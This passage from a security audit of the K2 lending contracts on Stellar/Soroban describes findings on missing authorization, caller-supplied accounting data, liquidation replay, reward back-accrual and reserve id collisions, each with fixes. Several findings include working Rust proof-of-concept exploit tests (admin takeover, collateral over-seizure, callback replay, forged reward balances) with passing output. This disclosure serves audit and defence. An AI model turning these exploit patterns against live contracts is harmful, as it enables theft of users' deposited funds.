    // Step 2: revoke all auths. From this point on, any require_auth()  
    // would fail, simulating a situation where the admin does NOT sign.
```



```

env.mock_auths(&[]);

let asset = Asset::Stellar(Address::generate(&env));

// Step 3: attacker calls an admin-only method, but passes the stored admin
// address as the `caller` argument.
//
// Because `add_asset` only checks that `caller == admin` and never calls
// `caller.require_auth()`, this succeeds even though no address is
// authorized in the environment.
client.add_asset(&admin, &asset);

// Step 4: verify that the admin-only side effect occurred.
let whitelisted_assets = client.get_whitelisted_assets();
assert_eq!(whitelisted_assets.len(), 1);

let config = client.get_asset_config(&asset).unwrap();
assert_eq!(config.enabled, true);
assert_eq!(config.manual_override_price, None);

// Step 5: attacker escalates privileges by setting themselves as the new admin.
//
// `set_admin` uses the same flawed pattern (`require_admin` on the caller
// address but no `require_auth`), so the attacker can call it while still
// passing the stored admin address as `caller` and their own address as
// `new_admin`.
client.set_admin(&admin, &attacker);

// Verify that admin control has been fully taken over.
let new_admin = client.admin();
assert_eq!(new_admin, attacker);
}

```

The test passes successfully, showing that missing or inadequate authentication in the price oracle allows unauthorized configuration changes or critical failures in price management.

```

running 1 test
test price_oracle_test::test_add_asset_succeeds_without_admin_auth_poc ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 375 filtered out; finished in 0.02s

```

Recommendation

Remove free-form caller parameters where possible and derive the privileged address from storage; immediately require its auth `require_auth` / `require_auth_for_args`) before state changes. If a caller parameter must remain, enforce both a stored-address match and `caller.require_auth()` in every privileged entry point. Apply this pattern across pool token mint/burn/transfer functions, oracle admin methods, interest-rate-strategy admin updates, kinetic-router reserve configurator/admin entrypoints, and kinetic-router user configuration entrypoints.

Additionally, restrict `set_incentives_contract` to the `pool_address` (kinetic-router) and require authentication on that address.

Remediation Comment

SOLVED: The K2 team solved this finding by:

- restricting `set_incentives_contract` to the `pool_address` (kinetic-router) and require authentication on that address in commit [c7693df](#), and
- invoking `caller.require_auth()` in all privileged entry points in commit [0629bbd](#), except for `router::set_user_use_reserve_as_coll`. This remaining gap was later fixed in commit [eb17008](#), which added the missing authorization check. The same commit also removed the caller-supplied `caller: Address` parameter from several admin-only router entry points, instead deriving the admin address internally from storage and enforcing authorization via `require_auth()`.

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/eb17008a025e3d4f1938651365fd2b15982ec7a9>

7.2 CRITICAL LOGIC RELIES ON UNTRUSTED CALLER-SUPPLIED STATE AND ACCOUNTING DATA

// CRITICAL

Description

Multiple protocol-critical accounting paths accept attacker-controlled “facts” as authoritative inputs (reserve snapshots, balances/supply, seize amounts, deposit accounting) instead of deriving them from authoritative on-chain state. This breaks core trust boundaries and enables direct manipulation of liquidation and rewards accounting, and can poison treasury accounting/operations.

Instances

- **Untrusted Reserve Snapshots Let Liquidator Over-Seize Collateral:** The liquidator flow accepts caller-supplied reserve snapshots and a caller-provided `collateral_to_seize` amount, then persists/executes liquidation using those untrusted values. A malicious liquidator can forge reserve configuration and inflate `collateral_to_seize`, causing the protocol to burn/swap more collateral than justified and allowing over-seizure.
- **Permissionless Incentives Accrual Enables Forged Balances and Reward Drain:** The incentives accrual entrypoint `handle_action` trusts caller-supplied `token_address`, `total_supply`, and `user_balance` without authentication or authoritative on-chain reads. Any caller can forge balances/supply to inflate indices and accrue rewards to themselves, then claim funded reward tokens.
- **Treasury Deposit Function Allows Fabricated Balances Without Verifying Token Transfers:** The treasury `deposit` updates internal accounting without verifying that a real token transfer occurred (or that the supposed depositor authorized anything). Attackers can fabricate arbitrary balances in storage, misleading accounting and potentially blocking admin withdrawals when transfers fail.

Code Location

Liquidator accepts caller-provided reserve data and only “validates” against it (`contracts/liquidator/src/liquidation.rs`):

```
7 pub fn atomic_flash_liquidation(  
8     env: &Env,  
9     caller: &Address,  
10    user: &Address,  
11    collateral_asset: &Address,  
12    debt_asset: &Address,  
13    debt_to_cover: u128,  
14    collateral_to_seize: u128,  
15    min_swap_out: u128,
```

 Copy Code

```

16     deadline_ts: u64,
17     collateral_reserve: &ReserveData,
18     debt_reserve: &ReserveData,
19 ) -> Result<LiquidationResult, LiquidatorError> {
20     ...
21     validate_collateral_amount(
22         collateral_reserve,
23         debt_reserve,
24         debt_to_cover,
25         collateral_to_seize,
26         collateral_price,
27         debt_price,
28     )?;
29     ...
30 }

```

Router stores the caller's `collateral_to_seize` without recomputing it (`contracts/kinetic-router/src/router.rs`):

 Copy Code

```

326 pub fn flash_liquidation(
327     env: Env,
328     liquidator: Address,
329     user: Address,
330     debt_asset: Address,
331     collateral_asset: Address,
332     debt_to_cover: u128,
333     collateral_to_seize: u128,
334     min_swap_out: u128,
335     deadline: u64,
336 ) -> Result<(), KineticRouterError> {
337     ...
338     let callback_params = LiquidationCallbackParams {
339         liquidator: liquidator.clone(),
340         user,
341         debt_asset: debt_asset.clone(),
342         collateral_asset: collateral_asset.clone(),
343         debt_to_cover,
344         collateral_to_seize,
345         min_swap_out,
346         deadline_ts: deadline,
347         debt_price: debt_price_data.price,
348         collateral_price: collateral_price_data.price,
349     };
350     storage::set_liquidation_callback_params(&env, &callback_params);
351     ...
352 }

```

Pool burns and swaps exactly the provided `collateral_to_seize` (`contracts/kinetic-router/src/flash_loan.rs`):

```

350 // Burn aTokens and transfer collateral to pool
351 let burn_and_transfer_args = soroban_sdk::vec![
352     &env,
353     pool_address.to_val(),
354     params.user.to_val(),
355     params.collateral_to_seize.into_val(&env),
356     collateral_reserve_data.liquidity_index.into_val(&env),
357     pool_address.to_val(),
358 ];
359 ...
360 let debt_received_i128 = k2_shared::dex::swap_exact_tokens(
361     &env,
362     &dex_router,
363     &params.collateral_asset,
364     &params.debt_asset,
365     params.collateral_to_seize as i128,
366     params.min_swap_out as i128,
367     &pool_address,
368     None,
369 )?;

```

Flash liquidation helper also trusts caller-provided `collateral_to_seize` (`contracts/flash-liquidation-helper/src/validation.rs`):

```

7 pub fn validate_flash_liquidation(
8     _env: &soroban_sdk::Env,
9     params: &FlashLiquidationValidationParams,
10 ) -> Result<FlashLiquidationValidationResult, KineticRouterError> {
11     ...
12 let collateral_to_seize = params.collateral_to_seize;
13 ...
14 if collateral_to_seize < min_expected || collateral_to_seize > max_expected {
15     return Err(KineticRouterError::InvalidAmount);
16 }
17
18 let collateral_amount_to_seize = collateral_to_seize;

```

Treasury `deposit` located in `contracts/treasury/src/contract.rs` (no auth, no token transfer):

```

57 pub fn deposit(
58     env: Env,
59     asset: Address,
60     amount: u128,
61     from: Address,
62 ) -> Result<(), TreasuryError> {
63     if !storage::is_initialized(&env) {
64         return Err(TreasuryError::NotInitialized);

```

```

65     }
66
67     if amount == 0 {
68         return Err(TreasuryError::InvalidAmount);
69     }
70
71     storage::add_balance(&env, &asset, amount)?;
72     events::publish_deposit(&env, asset, amount, from);

```

Proof of Concept

The PoC code has been added into the `tests/integration-tests/src/test_liquidator.rs` file:

 Copy Code

```

// Exploit path: call router.flash_liquidation directly with an inflated
// caller-supplied collateral_to_seize. The router does not recompute or cap
// the seize amount, so it burns exactly what the caller provides.
#[test]
fn test_router_flash_liquidation_over_seizes_with_inflated_amount() {
    let env = crate::setup::create_test_env_with_budget_limits();
    let protocol = deploy_test_protocol_two_assets(&env);

    // Seed liquidity and borrow.
    let usdc_supply = 100_000_000_000_000u128; // 10,000,000 USDC (7 decimals)
    let usdt_liquidity = 100_000_000_000_000u128; // 10,000,000 USDT (7 decimals)
    let borrow_amount = 80_000_000_000_000u128; // 8,000,000 USDT (7 decimals)

    protocol.kinetic_router.supply(
        &protocol.liquidity_provider,
        &protocol.usdt_asset,
        &usdt_liquidity,
        &protocol.liquidity_provider,
        &0u32,
    );
    protocol.kinetic_router.supply(
        &protocol.user,
        &protocol.usdc_asset,
        &usdc_supply,
        &protocol.user,
        &0u32,
    );
    protocol
        .kinetic_router
        .set_user_use_reserve_as_coll(&protocol.user, &protocol.usdc_asset, &true);
    protocol.kinetic_router.borrow(
        &protocol.user,
        &protocol.usdt_asset,
        &borrow_amount,
        &1u32,
        &0u32,
        &protocol.user,
    );
}

```

```

// Make the position liquidatable.
let crashed_price = 900_000_000_000_000u128; // 0.90 with 14 decimals
let usdc_asset_enum = price_oracle::Asset::Stellar(protocol.usdc_asset.clone());
protocol
    .price_oracle
    .reset_circuit_breaker(&protocol.admin, &usdc_asset_enum);
protocol.price_oracle.set_manual_override(
    &protocol.admin,
    &usdc_asset_enum,
    &Some(crashed_price),
);
let account_data_after_crash = protocol
    .kinetic_router
    .get_user_account_data(&protocol.user);
assert!(
    account_data_after_crash.health_factor < WAD,
    "Position must be unhealthy for liquidation"
);

// Compute a legitimate seize amount for a small debt slice.
let collateral_reserve = protocol
    .kinetic_router
    .get_reserve_data(&protocol.usdc_asset);
let debt_reserve = protocol.kinetic_router.get_reserve_data(&protocol.usdt_asset);
let collateral_config = ReserveConfiguration {
    data_low: collateral_reserve.configuration.data_low,
    data_high: collateral_reserve.configuration.data_high,
};
let debt_config = ReserveConfiguration {
    data_low: debt_reserve.configuration.data_low,
    data_high: debt_reserve.configuration.data_high,
};
let liquidation_bonus_legit = collateral_config.get_liquidation_bonus() as u128;
let collateral_decimals_pow = collateral_config.get_decimals_pow().unwrap();
let debt_decimals_pow = debt_config.get_decimals_pow().unwrap();

let usdt_asset_enum = price_oracle::Asset::Stellar(protocol.usdt_asset.clone());
let collateral_price_data = protocol.price_oracle.get_asset_price_data(&usdc_asset_enum);
let debt_price_data = protocol.price_oracle.get_asset_price_data(&usdt_asset_enum);
let collateral_price = collateral_price_data.price;
let debt_price = debt_price_data.price;

let debt_to_cover = borrow_amount / 20; // 5% slice
let debt_to_cover_base_legit = debt_to_cover
    .checked_mul(debt_price)
    .unwrap()
    .checked_div(debt_decimals_pow)
    .unwrap()
    .checked_mul(10_000)
    .unwrap();
let expected_collateral_base_legit = debt_to_cover_base_legit
    .checked_mul(BASIS_POINTS_MULTIPLIER + liquidation_bonus_legit)
    .unwrap()
    .checked_div(BASIS_POINTS_MULTIPLIER)
    .unwrap();

```

```

let legit_collateral_to_seize = expected_collateral_base_legit
    .checked_mul(collateral_decimals_pow)
    .unwrap()
    .checked_div(collateral_price.checked_mul(10_000).unwrap())
    .unwrap();

// Inflate the seize amount (e.g., +50%) but keep within user balance.
let user_collateral_before = protocol.usdc_a_token.balance(&protocol.user) as u128;
let inflated_collateral_to_seize =
    ((legit_collateral_to_seize * 150) / 100).min(user_collateral_before - 1);
assert!(
    inflated_collateral_to_seize > legit_collateral_to_seize,
    "Inflated seize amount must exceed legit seize"
);

let current_timestamp = env.ledger().timestamp();
let deadline_ts = current_timestamp + 3600;

// Call router.flash_liquidation directly with inflated collateral_to_seize.
protocol.kinetic_router.flash_liquidation(
    &protocol.liquidator,
    &protocol.user,
    &protocol.usdt_asset,    // debt
    &protocol.usdc_asset,    // collateral
    &debt_to_cover,
    &inflated_collateral_to_seize,
    &0u128,                // min_swap_out
    &deadline_ts,
);

let user_collateral_after = protocol.usdc_a_token.balance(&protocol.user) as u128;
let seized = user_collateral_before.saturating_sub(user_collateral_after);

assert_eq!(
    seized, inflated_collateral_to_seize,
    "Router burned exactly the caller-provided collateral_to_seize"
);
assert!(
    seized > legit_collateral_to_seize,
    "Seized collateral should exceed the legitimate amount"
);
}

```

The test passes successfully, showing that an attacker can over-seize collateral during liquidation by supplying forged reserve data, enabling arbitrary theft of user assets:


```
running 1 test
test test_liquidator::test_router_flash_liquidation_over_seizes_with_inflated_amount ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 136 filtered out; finished in 1.87s
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:H/D:H/Y:H (10.0)

Recommendation

Do not accept caller-provided “snapshots” or accounting amounts as protocol truth. Compute from authoritative on-chain state and/or enforce that the same call *proves* the underlying transfer/action occurred (e.g., execute token transfers inside the entrypoint, read balances/supply from the token contract, and bind privileged updates to authenticated trusted components).

Remediation Comment

SOLVED: The **K2 team** solved this finding in the following commits by following the mentioned recommendation:

- [e0d0134](#)
- [422f9b3](#)
- [6694f30](#)
- [0a481f1](#)

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/422f9b33da2c895c280858af00c4b58acf23d62f>

7.3 LIQUIDATION FLOW ALLOWS REPLAY OR EXECUTION WITH STALE STATE

// CRITICAL

Description

Multi-step liquidation flows rely on temporary stored parameters and/or preparation-time assumptions without sufficient execution-time guardrails. Missing rechecks (health factor, bounds, whitelist/blacklist, consistency) and missing state clearing/binding can enable replay or stale execution behavior that violates intended liquidation constraints.

Instances

- **Execute operation allows unauthorized replay of liquidation callbacks:** The flash-loan callback entrypoint is exposed publicly and can be called directly, allowing replay of liquidation callback behavior using previously stored temporary parameters. Because callback state is not single-use/bound to an in-flight context (and may not be cleared), an external caller can re-trigger execution paths outside intended guardrails.
- **Two-Step Liquidation Can Over-Seize Collateral Due to Stale Authorization Data:** The `prepare_liquidation` → `execute_liquidation` design stores authorization-time parameters (including `collateral_to_seize`) and later executes without fully recomputing borrower-safe bounds and without a fresh health-factor/liquidatability recheck. Price moves and position changes between steps can lead to stale execution and excess seizure relative to execution-time state.
- **Liquidation Whitelist/Blacklist Not Rechecked in `execute_liquidation`:** Access checks are performed during preparation but not revalidated during execution, so governance can blacklist a liquidator after preparation yet the liquidator can still execute within the TTL window, bypassing immediate enforcement.
- **Supporting/consistency issues**
 - **Swap Handler Inconsistency Between `prepare_liquidation` and `execute_liquidation`:** `prepare_liquidation` accepts a swap handler parameter but does not bind/store it, while `execute_liquidation` accepts and uses a (potentially different) handler. This inconsistency enables execution-time divergence from what was “prepared,” increasing the likelihood of stale-state or replay-adjacent mistakes.
 - **Liquidation Amount Helper Returns Indistinguishable Values:** A liquidation helper (`calculate_liquidation_amounts_with_reserves`) returns the same value for two tuple elements that imply different semantics. While current callers may ignore one element, this is a footgun that can cause future misuse and missed validation if callers assume distinct “display vs seize” amounts.

Code Location

Public router entry point exposes the callback (`contracts/kinetic-router/src/router.rs`):

 Copy Code

```
198 pub fn execute_operation(  
199     env: Env,  
200     _assets: Vec<Address>,  
201     _amounts: Vec<u128>,  
202     premiums: Vec<u128>,  
203     initiator: Address,  
204     _params: soroban_sdk::Bytes,  
205 ) -> bool {  
206     crate::flash_loan::execute_operation(env, _assets, _amounts, premiums, initiator, _params)  
207 }
```

Callback gating relies only on spoofable args and replays stored params; errors are converted to `false` (`contracts/kinetic-router/src/flash_loan.rs`):

 Copy Code

```
301 pub fn execute_operation(  
302     env: Env,  
303     _assets: Vec<Address>,  
304     _amounts: Vec<u128>,  
305     premiums: Vec<u128>,  
306     initiator: Address,  
307     _params: soroban_sdk::Bytes,  
308 ) -> bool {  
309     let pool_address = env.current_contract_address();  
310  
311     if initiator != pool_address {  
312         return false;  
313     }  
314  
315     for i in 0..premiums.len() {  
316         if premiums.get(i).unwrap_or(1) != 0 {  
317             return false;  
318         }  
319     }  
320  
321     let callback_params = match storage::get_liquidation_callback_params(&env) {  
322         Some(p) => p,  
323         None => return false,  
324     };  
325  
326     match execute_liquidation_callback(env, callback_params) {  
327         Ok(_) => true,  
328         Err(_) => false,  
329     }  
330 }
```

Callback params are stored globally and never cleared (`contracts/kinetic-router/src/storage.rs`):

[Copy Code](#)

```
478 const LIQUIDATION_CALLBACK: Symbol = symbol_short!("LIQCB");
479 const LIQUIDATION_WHITELIST: Symbol = symbol_short!("LIQWLST");
480
481 pub fn get_liquidation_callback_params(env: &Env) -> Option<LiquidationCallbackParams> {
482     env.storage().temporary().get(&LIQUIDATION_CALLBACK)
483 }
484
485 pub fn set_liquidation_callback_params(env: &Env, params: &LiquidationCallbackParams) {
486     env.storage().temporary().set(&LIQUIDATION_CALLBACK, params);
487 }
```

Params are set during `execute_liquidation` and not removed afterward (`contracts/kinetic-router/src/router.rs`):

[Copy Code](#)

```
531 let callback_params = LiquidationCallbackParams {
532     liquidator: liquidator.clone(),
533     user: user.clone(),
534     debt_asset: debt_asset.clone(),
535     collateral_asset: collateral_asset.clone(),
536     debt_to_cover: auth.debt_to_cover,
537     collateral_to_seize: auth.collateral_to_seize,
538     min_swap_out: auth.min_swap_out,
539     deadline_ts: deadline,
540     debt_price: current_debt_price.price,
541     collateral_price: current_collateral_price.price,
542     collateral_reserve_data: collateral_reserve_data.clone(),
543     debt_reserve_data: debt_reserve_data.clone(),
544     swap_handler,
545 };
546 storage::set_liquidation_callback_params(&env, &callback_params);
547 ...
548 storage::remove_liquidation_authorization(&env, &liquidator, &user);
```

Code snippet from the `calculate_liquidation_amounts_with_reserves` function located in `contracts/kinetic-router/src/calculation.rs`:

[Copy Code](#)

```
1045 // Return both collateral amount (without bonus for display) and total to seize (with bonus)
1046 // For simplicity, we return the same value for both since the bonus is already included
1047 Ok((collateral_amount_to_seize, collateral_amount_to_seize))
```

Proof of Concept

The PoC code has been added into the `tests/integration-tests/src/poc_execute_operation_replay.rs` file:

 Copy Code

```
#![cfg(test)]

/// PoC: Public `execute_operation` can replay flash-liquidation callback logic.
///
/// This demonstrates the issue described in the audit finding:
/// - `execute_liquidation` stores `LiquidationCallbackParams` in temporary storage (LIQCB)
/// - the public entrypoint `execute_operation` reads LIQCB and executes the callback
/// - gating relies only on attacker-controlled `initiator` + `premiums` parameters
/// - LIQCB is not cleared, so the callback can be replayed outside flash-loan context

use crate::setup::deploy_test_protocol_two_assets;
use k2_shared::WAD;
use soroban_sdk::{testutils::Address as _, Bytes, Env, Vec};

#[test]
fn poc_execute_operation_can_be_called_externally_to_replay_liquidation_callback() {
    let env = Env::default();
    env.mock_all_auths();
    let protocol = deploy_test_protocol_two_assets(&env);

    // Setup: User supplies USDC and borrows USDT
    let usdc_supply = 100_000_000_000u128; // 100 USDC
    let usdt_borrow = 80_000_000_000u128; // 80 USDT

    // LP provides USDT liquidity for borrow + flashloan
    protocol.kinetic_router.supply(
        &protocol.liquidity_provider,
        &protocol.usdt_asset,
        &200_000_000_000u128,
        &protocol.liquidity_provider,
        &0u32,
    );

    // User supplies USDC collateral and borrows USDT
    protocol.kinetic_router.supply(
        &protocol.user,
        &protocol.usdc_asset,
        &usdc_supply,
        &protocol.user,
        &0u32,
    );
    protocol
        .kinetic_router
        .set_user_use_reserve_as_coll(&protocol.user, &protocol.usdc_asset, &true);
    protocol.kinetic_router.borrow(
        &protocol.user,
        &protocol.usdt_asset,
        &usdt_borrow,
        &1u32,
    );
}
```

```

    &0u32,
    &protocol.user,
);

// Crash USDC price to make the position liquidatable.
let usdc_asset_enum = crate::price_oracle::Asset::Stellar(protocol.usdc_asset.clone());
protocol
    .price_oracle
    .reset_circuit_breaker(&protocol.admin, &usdc_asset_enum);
let expiry = env.ledger().timestamp() + 86400;
protocol.price_oracle.set_manual_override(
    &protocol.admin,
    &usdc_asset_enum,
    &Some(500_000_000_000_000u128), // $0.50
    &Some(expiry),
);

let account_data = protocol.kinetic_router.get_user_account_data(&protocol.user);
assert!(account_data.health_factor < WAD, "Position should be liquidatable");

// Use small debt_to_cover so replaying doesn't exhaust collateral.
let debt_to_cover = 10_000_000_000u128; // 10 USDT
let min_swap_out = 0u128; // no slippage protection needed for PoC
let deadline = env.ledger().timestamp() + 300;

// TX1: prepare liquidation (stores authorization)
let _auth = protocol.kinetic_router.prepare_liquidation(
    &protocol.liquidator,
    &protocol.user,
    &protocol.usdt_asset,
    &protocol.usdc_asset,
    &debt_to_cover,
    &min_swap_out,
    &None,
);

// Snapshot balances before legit execution
let liquidator_usdt_before = protocol.usdt_client.balance(&protocol.liquidator);
let user_usdt_debt_before = protocol.usdt_debt_token.balance(&protocol.user);
let user_usdc_coll_before = protocol.usdc_a_token.balance(&protocol.user);

// TX2: execute liquidation (stores LIQCB callback params, does not clear them)
protocol.kinetic_router.execute_liquidation(
    &protocol.liquidator,
    &protocol.user,
    &protocol.usdt_asset,
    &protocol.usdc_asset,
    &deadline,
    &None,
);

let liquidator_usdt_after_1 = protocol.usdt_client.balance(&protocol.liquidator);
let user_usdt_debt_after_1 = protocol.usdt_debt_token.balance(&protocol.user);
let user_usdc_coll_after_1 = protocol.usdc_a_token.balance(&protocol.user);

assert!(

```

```

liquidator_usdt_after_1 > liquidator_usdt_before,
"Legit liquidation should profit liquidator"
);
assert!(
    user_usdt_debt_after_1 < user_usdt_debt_before,
    "Legit liquidation should reduce user debt"
);
assert!(
    user_usdc_coll_after_1 < user_usdc_coll_before,
    "Legit liquidation should reduce user collateral"
);

// -----
// Exploit: call public execute_operation directly (outside flash-loan),
// spoofing `initiator == router_address` and using zero (or empty) premiums.
// -----
let router_address = protocol.kinetic_router.address.clone();
let attacker = soroban_sdk::Address::generate(&env);

// Sanity: wrong initiator => should fail (returns false)
let ok_wrong_initiator = protocol.kinetic_router.execute_operation(
    &Vec::new(&env),
    &Vec::new(&env),
    &Vec::new(&env),
    &attacker,
    &Bytes::new(&env),
);
assert!(!ok_wrong_initiator, "Wrong initiator should fail");

// Exploit: correct initiator spoofing => replays liquidation callback
let ok_replay = protocol.kinetic_router.execute_operation(
    &Vec::new(&env),
    &Vec::new(&env),
    &Vec::new(&env), // premiums empty => passes "all premiums must be zero"
    &router_address,
    &Bytes::new(&env),
);
assert!(
    ok_replay,
    "Replay should succeed because LIQCB callback params remain set"
);

let liquidator_usdt_after_2 = protocol.usdt_client.balance(&protocol.liquidator);
let user_usdt_debt_after_2 = protocol.usdt_debt_token.balance(&protocol.user);
let user_usdc_coll_after_2 = protocol.usdc_a_token.balance(&protocol.user);

assert!(
    liquidator_usdt_after_2 > liquidator_usdt_after_1,
    "Replay should grant liquidator additional profit"
);
assert!(
    user_usdt_debt_after_2 < user_usdt_debt_after_1,
    "Replay should burn additional user debt"
);
assert!(
    user_usdc_coll_after_2 < user_usdc_coll_after_1,

```

```
    "Replay should seize additional user collateral"  
    );  
}
```

The test passes successfully, showing that the public `execute_operation` entry point can be called externally to replay flash-liquidation callback logic outside the flash-loan context, allowing an attacker to spoof the initiator parameter and replay stored liquidation callback parameters to execute liquidation effects multiple times:

```
running 1 test  
test poc_execute_operation_replay::poc_execute_operation_can_be_called_externally_to_replay_liquidation_callback ... ok  
  
test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 188 filtered out; finished in 2.16s
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:C/D:H/Y:N (10.0)

Recommendation

Re-check liquidation constraints at execution time, bind callbacks/authorizations to the in-flight context (and enforce single-use), and clear temporary callback/authorization state after use. Ensure preparation/execution parameters are consistent (or explicitly removed) and make liquidation helper outputs unambiguous to prevent misuse by current/future callers.

Remediation Comment

SOLVED: The **K2 team** solved this finding in the commits below by following the mentioned recommendation:

- [1e06228](#)
- [bb3dfb9](#)
- [cf03d71](#)
- [8fe7289](#)
- [8dd80a0](#)

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/1e06228d077acc1c971f1a9098789c52a623ace2>

7.4 INCENTIVE REWARD ACCRUAL CONTAINS SNAPSHOT AND DISTRIBUTION WINDOW EDGE CASES

// HIGH

Description

Incentives accrual contains edge cases where newly deposited balances can be credited for past periods or where accrual can skip the final partial window when `distribution_end` passes between updates. This misallocates rewards and breaks expected emission accounting.

Instances

- **New Deposits Improperly Accrue Incentives for Past Periods:** The snapshot logic treats a missing prior snapshot as permission to credit the full current balance for the entire elapsed interval, so a user can deposit right before interacting and still accrue rewards as if they held the balance during prior time.
- **Incentives Reward Index Stops Accruing When `distribution_end` Passes Between Updates:** If `distribution_end` passes between updates, the accrual function returns early and skips the final partial interval, leaving the index under-accrued and misallocating rewards for the last window.

Code Location

The `handle_action` function credits entire new balance when there is no prior snapshot:

```
153 | let balance_for_rewards = if user_data.balance_snapshot == 0 {  
154 |     user_balance  
155 | } else {  
156 |     user_data.balance_snapshot.min(user_balance)  
157 | };
```

 Copy Code

Code snippet from the `update_asset_reward_index` function:

```
28 | // Check if distribution has ended  
29 | let distribution_ended = config.distribution_end > 0  
30 |     && current_timestamp >= config.distribution_end;  
31 |  
32 | if distribution_ended {  
33 |     return Ok(AssetRewardIndex {  
34 |
```

 Copy Code

```

35         index: current_index.index,
36         last_update_timestamp: current_timestamp,
37     });
}

```

Proof of Concept

The PoC code has been added into the `tests/unit-tests/src/incentives_back_accrual_poc.rs` file:

 Copy Code

```

#![cfg(test)]

use k2_incentives::{IncentivesContract, IncentivesContractClient};
use k2_shared::RAY;
use soroban_sdk::{Address, Env, testutils::{Address as _, Ledger, LedgerInfo}};

fn set_timestamp(env: &Env, timestamp: u64) {
    env.ledger().set(LedgerInfo {
        timestamp,
        sequence_number: 1,
        protocol_version: 22,
        network_id: Default::default(),
        base_reserve: 0,
        min_temp_entry_ttl: 0,
        min_persistent_entry_ttl: 0,
        max_entry_ttl: 1_000_000,
    });
}

#[test]
fn back_accrual_on_first_interaction() {
    let env = Env::default();
    env.mock_all_auths();

    // Participants
    let emission_manager = Address::generate(&env);
    let lending_pool = Address::generate(&env);
    let user = Address::generate(&env);
    let token = Address::generate(&env); // aToken/debtToken identifier
    let reward_token = Address::generate(&env);

    // Deploy incentives
    let incentives_id = env.register(IncentivesContract, ());
    let incentives = IncentivesContractClient::new(&env, &incentives_id);

    // Init and configure rewards (emission_per_second=1_000_000, no end)
    incentives.initialize(&emission_manager, &lending_pool);
    incentives.configure_asset_rewards(
        &emission_manager,
        &token,
        &reward_token,
        &0u32, // supply rewards
    );
}

```

```

    &1_000_000u128, // emission_per_second
    &0u64, // distribution_end (no end)
);

// Advance time to create a non-zero interval before first interaction
set_timestamp(&env, 100);

// First handle_action for this user: balance_snapshot == 0, so code uses user_balance
// for accrual, crediting rewards for past time the user did not hold the balance.
let total_supply = 1u128;
let forged_user_balance = 1_000_000_000u128; // 1e9
incentives.handle_action(
    &token,
    &user,
    &total_supply,
    &forged_user_balance,
    &0u32,
);

// Accrual math (current implementation):
// reward_increment = emission_per_second * time_elapsed * RAY / total_supply
//                   = 1_000_000 * 100 * RAY
// accrued = reward_increment * user_balance / RAY
//          ≈ 1e8 * RAY * 1e9 / RAY = 1e17
let user_data = incentives.get_user_reward_data(&token, &reward_token, &user, &0u32);
assert_eq!(
    user_data.accrued,
    100_000_000_000_000_000u128,
    "user improperly accrues for past interval on first interaction"
);

// The global index should also have advanced from RAY
let index = incentives.get_asset_reward_index(&token, &reward_token, &0u32);
assert!(index.index > RAY);
}

```

The test passes successfully, showing that new depositors can exploit the system to back-accrue rewards for unheld periods, leading to misallocated emissions and dilution of incentives.

```

running 1 test
test incentives_back_accrual_poc::back_accrual_on_first_interaction ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 375 filtered out; finished in 0.02s

```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:H/D:N/Y:M (8.8)

Recommendation

Fix snapshot semantics so newly deposited balances do not accrue for prior periods, and when `now >= distribution_end`, accrue up to `min(now, distribution_end)` rather than skipping intervals.

Remediation Comment

SOLVED: The K2 team solved this finding in the below commits by following the mentioned recommendation:

- [10d58a1](#)
- [68eba61](#)

Remediation Hash

<https://github.com/Shapeshifter-Technologies/k2-contracts/commit/68eba6121c9cc634fa11dbddd3d5da0622caa400>

7.5 IMPROPER RESERVE ID HANDLING COMPROMISES RISK CONTROLS

// HIGH

Description

The router uses `ReserveData.id` as the index into `UserConfiguration.data`, a `u128` bitmap that stores **two bits per reserve** (collateral + borrowing). This requires a stable, unique mapping of “reserve id → bit position” for the lifetime of the protocol.

However, `ReserveData.id` is assigned from `RESERVES_COUNT`, which is derived from the reserves list length. If a reserve is dropped, `RESERVES_COUNT` can decrease, and the next added reserve can **reuse an existing id**. This creates an immediate **id collision**: one bitmap slot now ambiguously refers to multiple reserves, so the protocol can mistakenly think a user is (or isn't) borrowing/using collateral for the *wrong* reserve. These flags drive which reserves are included in health-factor and validation logic, so a broken mapping can lead to incorrect borrow/withdraw gating and disrupted liquidations (either blocking legitimate actions or allowing actions that should have been rejected).

Independently, the bitmap layout only supports reserve IDs **0–63**, but `init_reserve` does not enforce `< 64`. If the protocol ever creates a reserve with `id >= 64`, the bit positions ($2 \times \text{id}$) no longer map uniquely inside 128 bits: in optimized builds this results in **bit collisions/aliasing** (e.g., reserve id 64 collides with the bits for id 0).

Code Location

User bitmap packs 2 bits per reserve into `u128` (max 64 reserves) (`contracts/shared/src/utils.rs`)

 Copy Code

```
310 | impl UserConfiguration {
311 |     pub fn is_using_as_collateral(&self, reserve_index: u8) -> bool {
312 |         (self.data >> (reserve_index * 2)) & 1 == 1
313 |     }
314 |
315 |     pub fn is_borrowing(&self, reserve_index: u8) -> bool {
316 |         (self.data >> (reserve_index * 2 + 1)) & 1 == 1
317 |     }
318 |     // ...
319 | }
```

Reserve id assigned from `RESERVES_COUNT` without enforcing `< 64` (`contracts/kinetic-router/src/reserve.rs`)

```

55 let reserve_data = ReserveData {
56     liquidity_index: RAY, // Start with 1.0
57     variable_borrow_index: RAY, // Start with 1.0
58     current_liquidity_rate: 0,
59     current_variable_borrow_rate: 0,
60     last_update_timestamp: env.ledger().timestamp(),
61     a_token_address: a_token_impl.clone(),
62     debt_token_address: variable_debt_impl.clone(), // Variable debt token
63     interest_rate_strategy_address: interest_rate_strategy,
64     id: storage::get_reserves_count(&env),
65     configuration,
66 };

```

Reserve “count” tracks list length and can decrease on removal (enabling id reuse) ([contracts/kinetic-router/src/storage.rs](#))

```

99 pub fn add_reserve_to_list(env: &Env, asset: &Address) {
100     let mut reserves = get_reserves_list(env);
101     reserves.push_back(asset.clone());
102     env.storage().persistent().set(&RESERVES_LIST, &reserves);
103
104     let count = reserves.len();
105     env.storage().persistent().set(&RESERVES_COUNT, &count);
106 }
107
108 pub fn get_reserves_count(env: &Env) -> u32 {
